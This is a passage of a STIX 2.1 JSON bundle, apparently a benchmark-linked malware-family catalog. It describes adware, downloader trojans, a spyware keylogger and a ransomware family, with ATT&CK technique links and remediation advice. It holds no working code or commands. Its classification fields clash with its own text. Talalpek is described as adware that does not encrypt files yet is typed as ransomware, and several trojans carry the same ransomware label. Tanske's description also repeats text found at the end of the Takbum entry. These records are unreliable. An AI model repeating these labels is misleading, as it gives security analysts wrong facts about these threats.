randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Takbum",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/takbum"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21c7c4c6-553d-5128-8e03-eec3dd5b527d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db5ef0d9-069e-543b-9d81-275f83e3f093",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Takbum exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e9cb2b21-d190-5886-b83d-d695590bb30e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db5ef0d9-069e-543b-9d81-275f83e3f093",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Takbum exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0102af61-42b2-5ded-b329-a9f909b70397",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db5ef0d9-069e-543b-9d81-275f83e3f093",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Takbum exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--086d263a-b290-54cc-8386-466b3b0cd982",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db5ef0d9-069e-543b-9d81-275f83e3f093",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Takbum exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--783bf72d-b639-5420-9028-80b87de9f60e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db5ef0d9-069e-543b-9d81-275f83e3f093",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Takbum exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b35f4bc1-d7df-5449-af34-98ff7a45cc92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Talalpek",
      "description": "<h3>Executive Summary</h3>\nTalalpek is a prevalent family of Adware and Potentially Unwanted Programs (PUPs) engineered to aggressively monetize an infected user's web browsing activity. It operates by altering browser configurations, injecting intrusive advertisements into web traffic, and covertly tracking user behavior, leading to significant degradation in system performance and user privacy.\n\n<h3>Distribution and Technical Behavior</h3>\nTalalpek is almost exclusively distributed via deceptive software bundling. Users inadvertently infect their systems when downloading \"free\" software from third-party download portals, where Talalpek is silently installed in the background via pre-checked installation options.\n\nOnce active, Talalpek deeply integrates with installed web browsers (Google Chrome, Firefox, Edge). Its core behaviors include:\n<ul>\n<li><strong>Browser Hijacking:</strong> Forcibly altering the default search engine, homepage, and new tab settings to redirect all traffic through an affiliate-linked search portal controlled by the adware operators.</li>\n<li><strong>Traffic Interception and Injection:</strong> Talalpek frequently installs a local proxy server or malicious browser extensions to intercept unencrypted web traffic, overlaying legitimate websites with intrusive pop-ups, pop-unders, banner ads, and sponsored in-text hyperlinks.</li>\n<li><strong>Data Harvesting:</strong> Continuously tracking the user's browsing history, search queries, and clickstreams to serve highly targeted advertisements and to sell this telemetry to data brokers.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Talalpek does not encrypt files or act as a remote access trojan, it introduces significant operational friction and risk. The injected advertisements are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections, such as ransomware.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear hijacked search and homepage configurations.</li>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Talalpek executables, hidden scheduled tasks, and persistent registry keys.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that frequently bundle adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Talalpek",
        "PUP.Talalpek",
        "BrowserModifier.Talalpek"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Talalpek",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/talalpek"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef382d20-892d-58d8-b865-41d2b2d43054",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b35f4bc1-d7df-5449-af34-98ff7a45cc92",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Talalpek exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--185fe9df-f9bf-54a9-829d-ba3e31d1bdd4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b35f4bc1-d7df-5449-af34-98ff7a45cc92",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Talalpek exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61697e9c-e94b-5899-873e-66f7d73c4ce4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b35f4bc1-d7df-5449-af34-98ff7a45cc92",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Talalpek exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2d979446-8735-5e1b-8514-d6f457a090e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Talent",
      "description": "Talent (classified in threat databases as Ransom:Win32/Talent and Trojan-Ransom.Win32.Talent) is an evasive crypto-ransomware family designed for rapid and wide-scale data extortion across Windows endpoints. Distributed via malicious malvertising redirects and loader packages, Talent evaluates host privileges and runs anti-debugging checks before commencing encryption. Utilizing AES-256 encryption in CBC mode, Talent encrypts high-value documents, source code, and virtual machine images, appending .talent to filenames. It drops ransom notes titled RESTORE_TALENT_FILES.html on the desktop and within every processed directory, demanding cryptocurrency payment for file restoration while wiping Volume Shadow Copies and system restore points. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Talent",
        "Trojan-Ransom.Win32.Talent",
        "Win32/Talent",
        "Talent Ransomware",
        "Ransom.Talent"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Talent",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/talent"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33e76d39-8f0e-5e65-9c98-539c4ca624d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d979446-8735-5e1b-8514-d6f457a090e0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Talent exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f1a2c9d-1aca-5df1-933d-2d9371beeb32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d979446-8735-5e1b-8514-d6f457a090e0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Talent exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b866ed97-f3ac-5d92-9add-4de7d03e77ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d979446-8735-5e1b-8514-d6f457a090e0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Talent exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2c0f81a-70f0-541c-b50c-9635a1f8b481",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d979446-8735-5e1b-8514-d6f457a090e0",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Talent exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b6bce17-5534-532e-a3f6-4b741a18e48d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d979446-8735-5e1b-8514-d6f457a090e0",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Talent exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--109f6cc4-6c86-5b3d-9c22-972c29be1a19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Talmad",
      "description": "<h3>Executive Summary</h3>\nTalmad is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTalmad is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Talmad operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Talmad ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Talmad receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Talmad infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Talmad executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Talmad frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Talmad",
        "Downloader.Talmad",
        "Win32/Talmad"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Talmad",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/talmad"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2aeedcf5-390d-5ccb-bd37-5e4e855e84b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--109f6cc4-6c86-5b3d-9c22-972c29be1a19",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Talmad exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--319ae51c-8b1e-5606-a325-7960aa34028f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--109f6cc4-6c86-5b3d-9c22-972c29be1a19",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Talmad exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74cfaede-dd65-519b-8064-d7f708aacc00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--109f6cc4-6c86-5b3d-9c22-972c29be1a19",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Talmad exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ec0d5311-0e60-5e89-a5eb-3d6c6f299ca1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tanske",
      "description": "Trojan:Win32/Tanske is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tanske</b><br>To an end-user, a Tanske infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tanske is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tanske is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tanske frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tanske reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tanske",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tanske"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6caed53-e2fb-53ab-8047-05a020532862",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec0d5311-0e60-5e89-a5eb-3d6c6f299ca1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tanske exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3de1ec4f-6d15-573a-bef4-914c7c422be1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec0d5311-0e60-5e89-a5eb-3d6c6f299ca1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tanske exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34a52b18-a25f-590e-ba67-3cb8462f6b43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec0d5311-0e60-5e89-a5eb-3d6c6f299ca1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tanske exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95d231d9-0126-5ac3-9b28-8dc053af6760",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec0d5311-0e60-5e89-a5eb-3d6c6f299ca1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tanske exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e215d0c-14a9-564d-87dd-fddaf406a6b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec0d5311-0e60-5e89-a5eb-3d6c6f299ca1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tanske exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--801b9e8a-b1c3-5172-b0ea-c73cb3fcee3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tanspy",
      "description": "<h3>Executive Summary</h3>\nTanspy is a malicious Trojan engineered specifically to operate as an Information Stealer and Spyware. Unlike broad-spectrum botnets, Tanspy is a targeted surveillance tool. Its primary objective is to silently monitor user activity, record keystrokes, and exfiltrate sensitive data\u2014specifically targeting login credentials, financial information, and proprietary communications.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTanspy is typically distributed via targeted spear-phishing campaigns containing weaponized attachments, or it is dropped as a secondary payload by an initial access broker who has already compromised the network perimeter.\n\nOnce executed, Tanspy employs stealthy data harvesting techniques:\n<ul>\n<li><strong>API Hooking and Keylogging:</strong> Tanspy utilizes Windows API hooking (specifically `SetWindowsHookEx`) to intercept hardware interrupts from the keyboard. It records every keystroke made by the user, storing them in hidden, encrypted log files on the local system.</li>\n<li><strong>Clipboard Monitoring:</strong> The trojan actively monitors the Windows clipboard, instantly capturing any data (like copied passwords or cryptocurrency wallet addresses) that the user copies and pastes.</li>\n<li><strong>Browser Data Extraction:</strong> It targets the credential stores of major web browsers (Chrome, Firefox) to extract saved passwords, autocomplete form data, and active session cookies.</li>\n<li><strong>Data Exfiltration:</strong> The collected data logs are periodically compressed, encrypted, and exfiltrated to the attacker's Command and Control (C2) server via SMTP (email), FTP, or HTTP POST requests.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Tanspy infection is a critical security incident. The immediate risk is the catastrophic compromise of user credentials. Stolen corporate VPN or RDP credentials provide the attacker with direct, authenticated access to the internal network, bypassing external firewalls and often leading to severe data breaches or ransomware deployment.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Severance:</strong> Isolate the compromised endpoint immediately to halt the ongoing exfiltration of keylogs and stolen credentials.</li>\n<li><strong>Global Credential Reset:</strong> It must be assumed that every password entered or stored on the infected machine is in the hands of the attacker. A mandatory, immediate reset of all associated enterprise and personal passwords is required.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the deep API hooking techniques used by keyloggers, attempting to \"clean\" the machine is insufficient. A complete bare-metal wipe and re-image from a trusted baseline is necessary.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Tanspy",
        "Spyware.Tanspy",
        "Win32/Spy.Tanspy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tanspy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tanspy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06487d58-7962-5500-9521-0fbd0fc23797",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--801b9e8a-b1c3-5172-b0ea-c73cb3fcee3f",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tanspy exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e85f864a-c8a8-550c-b150-ad05177f7bc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--801b9e8a-b1c3-5172-b0ea-c73cb3fcee3f",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tanspy exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae2b2e34-9ce6-5b58-b1ae-6b9511731a61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--801b9e8a-b1c3-5172-b0ea-c73cb3fcee3f",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tanspy exhibits technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--08960496-0493-5e64-92b4-5a27aeea0313",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--801b9e8a-b1c3-5172-b0ea-c73cb3fcee3f",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tanspy exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--94049c0f-31ca-52e7-8568-510250bf1f4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Taobao",
      "description": "<h3>Executive Summary</h3>\nIn a cybersecurity context, detections named \"Taobao\" do not refer to the legitimate Alibaba e-commerce platform itself, but rather to a classification of aggressive Adware and Browser Hijackers frequently bundled with localized Chinese software. These \"wrappers\" forcefully inject advertising related to the Taobao marketplace, hijack browser settings to route traffic through affiliate links, and severely degrade system performance.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nThis adware is almost exclusively distributed via software bundling (pay-per-install networks). Users typically encounter it when downloading \"free\" software from third-party aggregators or localized application portals. The adware is installed silently in the background during the primary software's installation process.\n\nUpon execution, the software establishes deep integration with the system's web browsers:\n<ul>\n<li><strong>Aggressive Browser Hijacking:</strong> The adware installs persistent Browser Helper Objects (BHOs) and malicious extensions across all installed browsers. It forcefully modifies the default homepage, search engine, and new tab page to localized shopping portals laden with affiliate tracking links.</li>\n<li><strong>DOM Manipulation and Ad Injection:</strong> It intercepts the rendering of legitimate websites, injecting its own JavaScript to overlay pages with pop-up ads, sliding banners, and in-text hyperlinks heavily promoting Taobao merchants.</li>\n<li><strong>Persistence and Self-Defense:</strong> Many variants employ rootkit-like techniques (modifying deep registry hives or installing watchdog services) to prevent users from changing their browser settings back to default or uninstalling the adware via the standard Control Panel.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Taobao-related adware is typically not designed for data destruction, it poses a severe threat to system stability, user productivity, and privacy. The aggressive persistence mechanisms make it extremely difficult for average users to remove, and the constant ad injection consumes massive CPU and RAM resources.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Safe Mode and Process Termination:</strong> Due to the aggressive self-defense mechanisms, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the adware's watchdog processes from launching before attempting uninstallation.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs. Utilize a reputable enterprise anti-malware solution (specifically tuned for Adware removal) to scan for and remove the deeply embedded registry keys and browser extensions.</li>\n<li><strong>Browser Factory Reset:</strong> Following the removal of the underlying files, a full factory reset of all installed web browsers is absolutely required to purge any remaining malicious extensions or modified search preferences.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Taobao",
        "PUP.Taobao",
        "Win32/Adware.Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Taobao",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/taobao"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef65f55d-9927-53af-aad0-3909037121ca",
      "created": "2026-01-01T00:00:00.000Z",
